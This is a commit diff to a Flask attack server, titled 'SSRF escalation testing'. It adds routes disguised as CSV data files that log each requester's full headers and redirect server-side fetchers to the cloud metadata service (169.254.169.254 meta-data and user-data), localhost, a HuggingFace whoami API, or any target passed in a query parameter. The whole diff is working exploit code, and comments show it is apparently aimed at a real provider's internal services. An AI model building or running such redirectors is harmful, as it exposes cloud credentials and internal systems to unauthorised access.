Add redirect endpoints for SSRF escalation testing

app.py

@@ -1,4 +1,4 @@
-from flask import Flask, request, jsonify, redirect, Response
+from flask import Flask, request, jsonify, redirect, Response, make_response
 import requests, os, socket, json, time
 
 app = Flask(__name__)
@@ -23,7 +23,7 @@ def log_request():
 
 @app.route('/logs')
 def show_logs():
-    return jsonify(LOG[-50:])
+    return jsonify(LOG[-100:])
 
 @app.route('/clear-logs')
 def clear_logs():
@@ -50,6 +50,71 @@ def redir():
     code = int(request.args.get('code', '302'))
     return redirect(target, code=code)
 
+# Redirect endpoints disguised as data files for SSRF testing
+@app.route('/redir-metadata.csv')
+def redir_metadata():
+    entry = {
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
+    }
+    LOG.append(entry)
+    return redirect('http://169.254.169.254/latest/meta-data/', 302)
+
+@app.route('/redir-metadata-v2.csv')
+def redir_metadata_v2():
+    entry = {
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
+    }
+    LOG.append(entry)
+    # IMDSv1 - different path
+    return redirect('http://169.254.169.254/latest/user-data', 302)
+
+@app.route('/redir-internal.csv')
+def redir_internal():
+    entry = {
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
+    }
+    LOG.append(entry)
+    # Try to hit HuggingFace internal API
+    return redirect('http://huggingface.co/api/whoami', 302)
+
+@app.route('/redir-localhost.csv')
+def redir_localhost():
+    entry = {
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
+    }
+    LOG.append(entry)
+    return redirect('http://localhost:8080/', 302)
+
+@app.route('/redir-target.csv')
+def redir_target():
+    """Dynamic redirect - set target via query param"""
+    target = request.args.get('t', 'http://127.0.0.1/')
+    entry = {
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
+    }
+    LOG.append(entry)
+    return redirect(target, 302)
+
 @app.route('/mcp-proxy', methods=['GET', 'POST'])
 def mcp_proxy():
     target = request.args.get('target', '')